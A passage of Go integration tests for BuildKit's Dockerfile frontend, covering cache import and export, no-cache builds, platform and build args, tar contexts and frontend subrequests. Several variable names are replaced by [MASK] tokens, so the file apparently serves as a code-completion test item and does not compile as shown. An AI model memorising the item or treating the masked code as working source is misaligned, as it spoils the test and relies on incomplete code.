t.Skip(""rest of test requires containerd worker"") } client, err := newContainerd(cdAddress) require.NoError(t, err) defer client.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := client.ImageService().Get(ctx, target) require.NoError(t, err) desc, err := img.Config(ctx, client.ContentStore(), platforms.Default()) require.NoError(t, err) dt, err := content.ReadBlob(ctx, client.ContentStore(), desc) require.NoError(t, err) var ociimg ocispec.Image err = json.Unmarshal(dt, &ociimg) require.NoError(t, err) v, ok := ociimg.Config.Labels[""foo""] require.True(t, ok) require.Equal(t, ""bar"", v) v, ok = ociimg.Config.Labels[""bar""] require.True(t, ok) require.Equal(t, ""baz"", v) } // #2008 func testWildcardRenameCache(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) dockerfile := []byte(` FROM alpine COPY file* /files/ RUN ls /files/file1 `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""file1"", []byte(""foo""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) err = os.Rename(filepath.Join(dir, ""file1""), filepath.Join(dir, ""file2"")) require.NoError(t, err) // cache should be invalidated and build should fail _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.Error(t, err) } func testOnBuildCleared(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) registry, err := sb.NewRegistry() if errors.Is(err, integration.ErrorRequirements) { t.Skip(err.Error()) } require.NoError(t, err) dockerfile := []byte(` FROM busybox ONBUILD RUN mkdir -p /out && echo -n 11 >> /out/foo `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() target := registry + ""/buildkit/testonbuild:base"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""push"": ""true"", ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dockerfile = []byte(fmt.Sprintf(` FROM %s `, target)) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) target2 := registry + ""/buildkit/testonbuild:child"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""push"": ""true"", ""name"": target2, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dockerfile = []byte(fmt.Sprintf(` FROM %s AS base FROM scratch COPY --from=base /out / `, target2)) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""11"", string(dt)) } func testCacheMultiPlatformImportExport(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) registry, err := sb.NewRegistry() if errors.Is(err, integration.ErrorRequirements) { t.Skip(err.Error()) } require.NoError(t, err) dockerfile := []byte(` FROM --platform=$BUILDPLATFORM busybox AS base ARG TARGETARCH RUN echo -n $TARGETARCH> arch && cat /dev/urandom | head -c 100 | sha256sum > unique FROM scratch COPY --from=base unique / COPY --from=base arch / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() target := registry + ""/buildkit/testexportdf:multi"" // exportCache := []client.CacheOptionsEntry{ // { // Type: ""registry"", // Attrs: map[string]string{""ref"": target}, // }, // } // importCache := target exportCache := []client.CacheOptionsEntry{ { Type: ""inline"", }, } importCache := target + ""-img"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""push"": ""true"", ""name"": target + ""-img"", }, }, }, CacheExports: exportCache, FrontendAttrs: map[string]string{ ""platform"": ""linux/amd64,linux/arm/v7"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) desc, provider, err := contentutil.ProviderFromRef(target + ""-img"") require.NoError(t, err) imgMap, err := readIndex(provider, desc) require.NoError(t, err) require.Equal(t, 2, len(imgMap)) require.Equal(t, ""amd64"", string(imgMap[""linux/amd64""].layers[1][""arch""].Data)) dtamd := imgMap[""linux/amd64""].layers[0][""unique""].Data dtarm := imgMap[""linux/arm/v7""].layers[0][""unique""].Data require.NotEqual(t, dtamd, dtarm) for i := 0; i < 2; i++ { err = c.Prune(context.TODO(), nil, client.PruneAll) require.NoError(t, err) checkAllRemoved(t, c, sb) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""cache-from"": importCache, ""platform"": ""linux/amd64,linux/arm/v7"", }, Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""push"": ""true"", ""name"": target + ""-img"", }, }, }, CacheExports: exportCache, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) desc2, provider, err := contentutil.ProviderFromRef(target + ""-img"") require.NoError(t, err) require.Equal(t, desc.Digest, desc2.Digest) imgMap, err = readIndex(provider, desc2) require.NoError(t, err) require.Equal(t, 2, len(imgMap)) require.Equal(t, ""arm"", string(imgMap[""linux/arm/v7""].layers[1][""arch""].Data)) dtamd2 := imgMap[""linux/amd64""].layers[0][""unique""].Data dtarm2 := imgMap[""linux/arm/v7""].layers[0][""unique""].Data require.Equal(t, string(dtamd), string(dtamd2)) require.Equal(t, string(dtarm), string(dtarm2)) } } func testCacheImportExport(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) registry, err := sb.NewRegistry() if errors.Is(err, integration.ErrorRequirements) { t.Skip(err.Error()) } require.NoError(t, err) dockerfile := []byte(` FROM busybox AS base COPY foo const #RUN echo -n foobar > const RUN cat /dev/urandom | head -c 100 | sha256sum > unique FROM scratch COPY --from=base const / COPY --from=base unique / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""foobar""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) target := registry + ""/buildkit/testexportdf:latest"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, CacheExports: []client.CacheOptionsEntry{ { Type: ""registry"", Attrs: map[string]string{""ref"": target}, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""const"")) require.NoError(t, err) require.Equal(t, ""foobar"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""unique"")) require.NoError(t, err) err = c.Prune(context.TODO(), nil, client.PruneAll) require.NoError(t, err) checkAllRemoved(t, c, sb) destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""cache-from"": target, }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt2, err := ioutil.ReadFile(filepath.Join(destDir, ""const"")) require.NoError(t, err) require.Equal(t, ""foobar"", string(dt2)) dt2, err = ioutil.ReadFile(filepath.Join(destDir, ""unique"")) require.NoError(t, err) require.Equal(t, string(dt), string(dt2)) destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) } func testReproducibleIDs(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox ENV foo=bar COPY foo / RUN echo bar > bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""foo-contents""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) target := ""example.com/moby/dockerfileids:test"" opt := client.SolveOpt{ FrontendAttrs: map[string]string{}, Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) target2 := ""example.com/moby/dockerfileids2:test"" opt.Exports[0].Attrs[""name""] = target2 _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""rest of test requires containerd worker"") } client, err := newContainerd(cdAddress) require.NoError(t, err) defer client.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := client.ImageService().Get(ctx, target) require.NoError(t, err) img2, err := client.ImageService().Get(ctx, target2) require.NoError(t, err) require.Equal(t, img.Target, img2.Target) } func testImportExportReproducibleIDs(t *testing.T, sb integration.Sandbox) { cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""test requires containerd worker"") } f := getFrontend(t, sb) registry, err := sb.NewRegistry() if errors.Is(err, integration.ErrorRequirements) { t.Skip(err.Error()) } require.NoError(t, err) dockerfile := []byte(` FROM busybox ENV foo=bar COPY foo / RUN echo bar > bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""foobar""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) target := ""example.com/moby/dockerfileexpids:test"" cacheTarget := registry + ""/test/dockerfileexpids:cache"" opt := client.SolveOpt{ FrontendAttrs: map[string]string{}, Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, CacheExports: []client.CacheOptionsEntry{ { Type: ""registry"", Attrs: map[string]string{""ref"": cacheTarget}, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } ctd, err := newContainerd(cdAddress) require.NoError(t, err) defer ctd.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) img, err := ctd.ImageService().Get(ctx, target) require.NoError(t, err) err = ctd.ImageService().Delete(ctx, target) require.NoError(t, err) err = c.Prune(context.TODO(), nil, client.PruneAll) require.NoError(t, err) checkAllRemoved(t, c, sb) target2 := ""example.com/moby/dockerfileexpids2:test"" opt.Exports[0].Attrs[""name""] = target2 opt.FrontendAttrs[""cache-from""] = cacheTarget _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) img2, err := ctd.ImageService().Get(ctx, target2) require.NoError(t, err) require.Equal(t, img.Target, img2.Target) } func testNoCache(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox AS s0 RUN cat /dev/urandom | head -c 100 | sha256sum | tee unique FROM busybox AS s1 RUN cat /dev/urandom | head -c 100 | sha256sum | tee unique2 FROM scratch COPY --from=s0 unique / COPY --from=s1 unique2 / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt := client.SolveOpt{ FrontendAttrs: map[string]string{}, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) [MASK] , err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt.FrontendAttrs[""no-cache""] = """" opt.Exports[0].OutputDir = [MASK] _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) unique1Dir1, err := ioutil.ReadFile(filepath.Join(destDir, ""unique"")) require.NoError(t, err) unique1Dir2, err := ioutil.ReadFile(filepath.Join( [MASK] , ""unique"")) require.NoError(t, err) unique2Dir1, err := ioutil.ReadFile(filepath.Join(destDir, ""unique2"")) require.NoError(t, err) unique2Dir2, err := ioutil.ReadFile(filepath.Join( [MASK] , ""unique2"")) require.NoError(t, err) require.NotEqual(t, string(unique1Dir1), string(unique1Dir2)) require.NotEqual(t, string(unique2Dir1), string(unique2Dir2)) destDir3, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt.FrontendAttrs[""no-cache""] = ""s1"" opt.Exports[0].OutputDir = destDir3 _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) unique1Dir3, err := ioutil.ReadFile(filepath.Join(destDir3, ""unique"")) require.NoError(t, err) unique2Dir3, err := ioutil.ReadFile(filepath.Join(destDir3, ""unique2"")) require.NoError(t, err) require.Equal(t, string(unique1Dir2), string(unique1Dir3)) require.NotEqual(t, string(unique2Dir1), string(unique2Dir3)) } func testPlatformArgsImplicit(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(fmt.Sprintf(` FROM scratch AS build-%s COPY foo bar FROM build-${TARGETOS} COPY foo2 bar2 `, runtime.GOOS)) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""d0""), 0600), fstest.CreateFile(""foo2"", []byte(""d1""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt := client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""bar"")) require.NoError(t, err) require.Equal(t, ""d0"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""bar2"")) require.NoError(t, err) require.Equal(t, ""d1"", string(dt)) } func testPlatformArgsExplicit(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM --platform=$BUILDPLATFORM busybox AS build ARG TARGETPLATFORM ARG TARGETOS RUN mkdir /out && echo -n $TARGETPLATFORM > /out/platform && echo -n $TARGETOS > /out/os FROM scratch COPY --from=build out . `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt := client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""platform"": ""darwin/ppc64le"", ""build-arg:TARGETOS"": ""freebsd"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""platform"")) require.NoError(t, err) require.Equal(t, ""darwin/ppc64le"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""os"")) require.NoError(t, err) require.Equal(t, ""freebsd"", string(dt)) } func testBuiltinArgs(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox AS build ARG FOO ARG BAR ARG BAZ=bazcontent RUN echo -n $HTTP_PROXY::$NO_PROXY::$FOO::$BAR::$BAZ > /out FROM scratch COPY --from=build /out / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt := client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:FOO"": ""foocontents"", ""build-arg:http_proxy"": ""hpvalue"", ""build-arg:NO_PROXY"": ""npvalue"", }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""out"")) require.NoError(t, err) require.Equal(t, ""hpvalue::npvalue::foocontents::::bazcontent"", string(dt)) // repeat with changed default args should match the old cache destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt = client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:FOO"": ""foocontents"", ""build-arg:http_proxy"": ""hpvalue2"", }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""out"")) require.NoError(t, err) require.Equal(t, ""hpvalue::npvalue::foocontents::::bazcontent"", string(dt)) // changing actual value invalidates cache destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) opt = client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:FOO"": ""foocontents2"", ""build-arg:http_proxy"": ""hpvalue2"", }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, } _, err = f.Solve(context.TODO(), c, opt, nil) require.NoError(t, err) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""out"")) require.NoError(t, err) require.Equal(t, ""hpvalue2::::foocontents2::::bazcontent"", string(dt)) } func testTarContext(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch COPY foo / `) foo := []byte(""contents"") buf := bytes.NewBuffer(nil) tw := tar.NewWriter(buf) err := tw.WriteHeader(&tar.Header{ Name: ""Dockerfile"", Typeflag: tar.TypeReg, Size: int64(len(dockerfile)), Mode: 0644, }) require.NoError(t, err) _, err = tw.Write(dockerfile) require.NoError(t, err) err = tw.WriteHeader(&tar.Header{ Name: ""foo"", Typeflag: tar.TypeReg, Size: int64(len(foo)), Mode: 0644, }) require.NoError(t, err) _, err = tw.Write(foo) require.NoError(t, err) err = tw.Close() require.NoError(t, err) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() up := uploadprovider.New() url := up.Add(buf) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), ""context"": url, }, Session: []session.Attachable{up}, }, nil) require.NoError(t, err) } func testTarContextExternalDockerfile(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) foo := []byte(""contents"") buf := bytes.NewBuffer(nil) tw := tar.NewWriter(buf) err := tw.WriteHeader(&tar.Header{ Name: ""sub/dir/foo"", Typeflag: tar.TypeReg, Size: int64(len(foo)), Mode: 0644, }) require.NoError(t, err) _, err = tw.Write(foo) require.NoError(t, err) err = tw.Close() require.NoError(t, err) dockerfile := []byte(` FROM scratch COPY foo bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() up := uploadprovider.New() url := up.Add(buf) // repeat with changed default args should match the old cache destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), ""context"": url, ""dockerfilekey"": builder.DefaultLocalNameDockerfile, ""contextsubdir"": ""sub/dir"", }, Session: []session.Attachable{up}, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""bar"")) require.NoError(t, err) require.Equal(t, string(dt), ""contents"") } func testFrontendUseForwardedSolveResults(t *testing.T, sb integration.Sandbox) { c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() dockerfile := []byte(` FROM scratch COPY foo foo2 `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""data""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) frontend := func(ctx context.Context, c gateway.Client) (*gateway.Result, error) { res, err := c.Solve(ctx, gateway.SolveRequest{ Frontend: ""dockerfile.v0"", }) if err != nil { return nil, err } ref, err := res.SingleRef() if err != nil { return nil, err } st2, err := ref.ToState() if err != nil { return nil, err } st := llb.Scratch().File( llb.Copy(st2, ""foo2"", ""foo3""), ) def, err := st.Marshal(context.TODO()) if err != nil { return nil, err } return c.Solve(ctx, gateway.SolveRequest{ Definition: def.ToPB(), }) } destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = c.Build(context.TODO(), client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, """", frontend, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo3"")) require.NoError(t, err) require.Equal(t, dt, []byte(""data"")) } func testFrontendInputs(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) outMount := llb.Image(""busybox"").Run( llb.Shlex(`sh -c ""cat /dev/urandom | head -c 100 | sha256sum > /out/foo""`), ).AddMount(""/out"", llb.Scratch()) def, err := outMount.Marshal(context.TODO()) require.NoError(t, err) _, err = c.Solve(context.TODO(), def, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) expected, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) dockerfile := []byte(` FROM scratch COPY foo foo2 `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, }, FrontendInputs: map[string]llb.State{ builder.DefaultLocalNameContext: outMount, }, }, nil) require.NoError(t, err) actual, err := ioutil.ReadFile(filepath.Join(destDir, ""foo2"")) require.NoError(t, err) require.Equal(t, expected, actual) } func testFrontendSubrequests(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() dockerfile := []byte(` FROM scratch COPY Dockerfile Dockerfile `) if gf, ok := f.(*gatewayFrontend); ok { dockerfile = []byte(fmt.Sprintf(""#syntax=%s\n\n%s"", gf.gw, dockerfile)) } dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) called := false frontend := func(ctx context.Context, c gateway.Client) (*gateway.Result, error) { reqs, err := subrequests.Describe(ctx, c) require.NoError(t, err) require.True(t, len(reqs) > 0) hasDescribe := false for _, req := range reqs { if req.Name == ""frontend.subrequests.describe"" { hasDescribe = true require.Equal(t, subrequests.RequestType(""rpc""), req.Type) require.NotEqual(t, req.Version, """") require.True(t, len(req.Metadata) > 0) } } require.True(t, hasDescribe) _, err = c.Solve(ctx, gateway.SolveRequest{ FrontendOpt: map[string]string{ ""requestid"": ""frontend.subrequests.notexist"", ""frontend.caps"": ""moby.buildkit.frontend.subrequests"", }, Frontend: ""dockerfile.v0"", }) require.Error(t, err) var reqErr *errdefs.UnsupportedSubrequestError require.True(t, errors.As(err, &reqErr)) require.Equal(t, ""frontend.subrequests.notexist"", reqErr.GetName()) _, err = c.Solve(ctx, gateway.SolveRequest{ FrontendOpt: map[string]string{ ""frontend.caps"": ""moby.buildkit.frontend.notexistcap"", }, Frontend: ""dockerfile.v0"", }) require.Error(t, err) var capErr *errdefs.UnsupportedFrontendCapError require.True(t, errors.As(err, &capErr)) require.Equal(t, ""moby.buildkit.frontend.notexistcap"", capErr.GetName()) called = true return nil, nil } _, err = c.Build(context.TODO(), client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, }, }, """", frontend, nil) require.NoError(t, err) require.True(t, called) } // moby/buildkit#1301 func testDockefileCheckHostname(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox RUN cat /etc/hosts | grep testtest RUN echo $HOSTNAME | grep testtest RUN echo $(hostname) | grep testtest `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""hostname"": ""testtest"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func tmpdir(appliers ...fstest.Applier) (string, error) { tmpdir, err := ioutil.TempDir("""", ""buildkit-dockerfile"") if err != nil { return """", err } if err := fstest.Apply(appliers...).Apply(tmpdir); err != nil { return """", err } return tmpdir, nil } func runShell(dir string, cmds ...string) error { for _, args := range cmds { var cmd *exec.Cmd if runtime.GOOS == ""windows"" { cmd = exec.Command(""powershell"", ""-command"", args) } else { cmd = exec.Command(""sh"", ""-c"", args) } cmd.Dir = dir if err := cmd.Run(); err != nil { return errors.Wrapf(err, ""error running %v"", args) } } return nil } func checkAllRemoved(t *testing.T, c *client.Client, sb integration.Sandbox) { retries := 0 for { require.True(t, 20 > retries) retries++ du, err := c.DiskUsage(context.TODO()) require.NoError(t, err) if len(du) > 0 { time.Sleep(500 * time.Millisecond) continue } break } } func checkAllReleasable(t *testing.T, c *client.Client, sb integration.Sandbox, checkContent bool) { retries := 0 loop0: for { require.True(t, 20 > retries) retries++ du, err := c.DiskUsage(context.TODO()) require.NoError(t, err) for _, d := range du { if d.InUse { time.Sleep(500 * time.Millisecond) continue loop0 } } break } err := c.Prune(context.TODO(), nil, client.PruneAll) require.NoError(t, err) du, err := c.DiskUsage(context.TODO()) require.NoError(t, err) require.Equal(t, 0, len(du)) // examine contents of exported tars (requires containerd) cdAddress := sb.ContainerdAddress() if cdAddress == """" { return } // TODO: make public pull helper function so this can be checked for standalone as well client, err := newContainerd(cdAddress) require.NoError(t, err) defer client.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") 